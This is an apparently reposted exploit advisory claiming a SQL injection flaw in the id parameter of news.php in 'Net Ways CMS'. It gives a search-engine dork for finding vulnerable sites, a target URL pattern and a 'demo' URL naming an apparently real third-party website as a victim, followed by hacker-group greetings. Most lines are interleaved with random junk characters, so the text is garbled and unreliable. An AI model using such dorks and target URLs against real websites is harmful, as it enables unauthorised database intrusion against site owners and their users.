Net Ways CMS SQL Injection

admin

################################################################################??########  
4 ^' r7 s9 R4 ]6 z/ a# H: w#  
- n, ^+ m1 M5 }5 n: I# Exploit Title : Net Ways Cms Sql Injection Vulnerability  
#  
- B. Q9 o6 J9 Y* E3 a6 B* t$ [+ D# Author        : IrIsT.Ir  
2 p5 T8 V7 R+ m" e#  
9 E+ x5 O( c$ X, U0 {) {# Discovered By : Am!r  
#  
3 h+ I- \5 i, q1 q+ V$ o- M# E3 v# Home          : http://IrIsT.Ir/forum  
#  
1 D# I5 r1 q4 v7 m# e# Software Link : http://www.netways.com/   www.political-security.com
7 U* o2 V3 Z( U" B, h4 f- N! G#  
# Security Risk : High  
& @# s1 ~8 c8 q$ E7 ?#  
# Version       : All Version  
& N* q. n9 P4 [5 P#  
/ |1 W$ }- A3 P( Y8 U# Tested on     : GNU/Linux Ubuntu - Windows Server - win7  
" W! f& P( Z0 [#  
# Dork          : intext:"Designed & developed by NetWays"  
" k3 |# s: w8 ]6 W#  
################################################################################??########  
#  
#  Expl0iTs :  
#  
; f( I- S$ a  h$ _- t+ J0 w#  http://target.com/news.php?id=[Sql]  
#  
6 Y" B( V0 G* p$ |. s2 I#  
# D3mo :  
) c( ?/ _" {& I$ Q3 z#  
$ w, b2 {" z2 B1 ?' n+ i# http://compagnieparento.com/news.php?id=7[Sql]  
) \" G' k- ]: b: X0 f5 {#  
################################################################################??########  
#  
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r   
. [( t0 ^; H: I' x" C& @#  
. W5 z) j; G, l8 a+ Z  Y8 q5 S9 ]# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r   
$ Q! {% s8 `/ ?, N#  
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum  
4 S" j7 `3 O2 ]( z9 c#  
1 p; M3 y, R: W################################################################################??########